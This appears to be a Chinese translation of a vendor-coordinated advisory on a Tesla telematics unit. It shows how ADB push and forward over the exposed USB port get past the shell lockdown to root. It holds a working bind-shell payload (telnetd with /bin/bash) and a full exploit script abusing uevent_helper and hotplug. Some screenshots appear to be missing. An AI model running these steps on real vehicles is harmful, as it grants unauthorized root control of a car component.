-
厂商:特斯拉
-
受影响的版本:2025.14 之前的版本(该问题已在 2025.2.6 上测试)
-
受影响的系统:TCU(远程信息处理控制单元)
-
风险等级:中等 – 需要物理访问 TCU,但会导致 TCU ROOT 访问权限
漏洞概述
特斯拉的远程信息处理控制单元 (TCU) 存在漏洞,攻击者可以利用该漏洞绕过特斯拉实施的 ADB 锁定逻辑,该逻辑旨在防止攻击者获取生产设备的 Shell 访问权限。
攻击者能够利用任意文件写入漏洞,在 TCU 上以 Root 权限执行代码。
以下是在 Tesla 固件版本 v12(2025.2.6) 上进行的测试,其 TCU 版本为 AG525RGLAAR01A16M4G_OCPU_03-016.21, 来自 /etc/os-release :
漏洞影响
攻击者可以破坏特斯拉汽车上的 TCU 并获得其 Root 访问权限
细节
TCU 上有一个暴露在外壳外部的 Micro USB 端口:
通过将 Micro USB 连接到该端口和攻击者的机器,即可与 TCU 建立 ADB 连接。需要在 /etc/udev/rules.d/51-android.rules 中本地创建以下 udev 规则:
SUBSYSTEM = ="usb", ATTR {idVendor}== "2c7c", ATTR{idProduct}=="0452", MODE="0666", GROUP="plugdev"
我们可以看到 TCU 出现在 adb devices 中:
并在“lsusb”中列出设备:
特斯拉会通过 Micro USB 端口锁定 ADB 访问,以防止使用 adb shell 进行 shell 级别访问:
这也可以在从 TCU 检索的文件 /etc/launch_adbd 中的以下代码中看到:
然而,锁定逻辑并不妨碍 ADB 的两个关键功能:
-
使用
adb pull
和adb push
以 root 身份读取和写入文件的能力 -
使用“adb forward”通过 ADB 连接转发流量的能力
通过利用以上功能,我们可以利用这些特性来获取 TCU 上的 Root shell。
需要注意的是,TCU 上的 adbd 进程是以 Root 身份运行的:
使用 adb pull 检索文件 /sys/class/qtee/secboot_state 从而确认 auth_enable 的存在。
漏洞详情
由于 TCU 上的 adbd 进程以 Root 身份运行,因此我们能够以 Root 身份读写文件。但是,由于分区以只读方式挂载,因此我们在哪些目录中可以写入文件也受到限制:
bash-3.2# mount
/dev/dm-0 on / type squashfs (ro,relatime,seclabel)
devtmpfs on /dev type devtmpfs (rw,relatime,seclabel,size=142596k,nr_inodes=35649,mode=755)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime,seclabel)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,seclabel)
selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,seclabel,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,seclabel,mode=755)
cgroup2 on /sys/fs/cgroup/unified type cgroup2 (rw,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/debug type cgroup (rw,nosuid,nodev,noexec,relatime,debug)
tmpfs on /etc/machine-id type tmpfs (ro,seclabel,mode=755)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
mqueue on /dev/mqueue type mqueue (rw,relatime,seclabel)
/dev/ubiblock1_0 on /firmware type squashfs (ro,relatime,seclabel)
/dev/ubi2_0 on /usrdata type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /quecrw type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/bluetooth type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /data type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /systemrw type ubifs (rw,relatime,seclabel)
configfs on /sys/kernel/config type configfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/ipa_config.txt type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/mobileap_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/netmgr_config.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/iris/iris_platform_config.json type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /persist type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/mobileap_firewall.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/ipa/IPACM_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/wlan_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/l2tp_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/factory_mobileap_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/adb_devid type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/hosts type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/usb/boot_hsusb_comp type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/usb/softap_w_dun type ubifs (rw,relatime,seclabel)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,seclabel)
tmpfs on /var/volatile type tmpfs (rw,relatime,rootcontext=system_u:object_r:var_t:s0,seclabel)
/dev/ubi3_0 on /etc/tel.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/usb/boot_hsic_comp type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/adpl/adpl_config type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/dhcp_hosts type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan1.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/ipa/factory_IPACM_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/iproute2/rt_tables type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/adpl/mhi_enable type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/misc/wifi/hostapd-wlan2.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/dnsmasq.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/misc/wifi/hostapd.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/dsi_config.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/misc/wifi/sta_mode_hostapd.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/factory_l2tp_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/misc/wifi/wpa_supplicant.conf type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/factory_mobileap_firewall.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/factory_wlan_cfg.xml type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/mbim_mode type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/mobileap_cfg.xsd type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/mux_mode type ubifs (rw,relatime,seclabel)
/dev/ubi3_0 on /etc/data/tinyproxy.conf type ubifs (rw,relatime,seclabel)
lxcfs on /data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
lxcfs on /quecrw/usrfs/data/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
```
因此,为了将任意文件写入以 Root 身份执行的代码,我们滥用了 **uevent_helper / hotplug ** sysfs内核子系统。
为此,我们首先需要在磁盘上存储一个具有可执行权限的文件,例如 telnetd.sh 脚本。
接下来,我们将要执行的脚本文件路径以 Root 身份写入 `/sys/kernel/uevent_helper` 或 `/proc/sys/kernel/hotplug` 中。事件发生后,目标脚本将以 Root 身份执行。
需要注意的是,adb 在 adb push 过程中会保留权限,这允许我们将脚本植入到 /tmp/telnetd.sh 中,并标记为可执行。此外, /tmp 未使用 noexec 功能挂载。
# 复现步骤
将以下代码放入名为 telnetd.sh 的本地文件中,该文件是在 TCU 上执行 telnetd 服务器的Payload:
```bash
#!/bin/sh
touch /tmp/executed
telnetd -l /bin/bash -p 2727
Put the following code into a local file named exploit.sh :
# Upload telnet script to TCU
chmod +x telnetd.sh
adb push telnetd.sh /tmp/telnetd.sh
# Write "/tmp/telnetd.sh" to uevent_helper and hotplug
echo '/tmp/telnetd.sh' > t2.sh
adb push t2.sh /sys/kernel/uevent_helper
adb push t2.sh /proc/sys/kernel/hotplug
# Trigger a uevent just by doing a file system read
adb pull /etc/passwd
# Setup the TCP port forward for port 2727
adb forward tcp:2727 tcp:2727
# Wait for telnetd to run
sleep 3
# Connect to the telnet shell
telnet 127.0.0.1 2727
运行 exploit.sh 后,就会在 TCU 上获得一个 Root Shell:
漏洞时间线
-
2025年3月3日——问题已报告给特斯拉
-
2025年3月4日——特斯拉确认漏洞报告
-
2025 年 4 月 24 日——特斯拉通知 NCC,2025.14 包含补丁并正在推出
-
2025 年 9 月 29 日——NCC 发布公告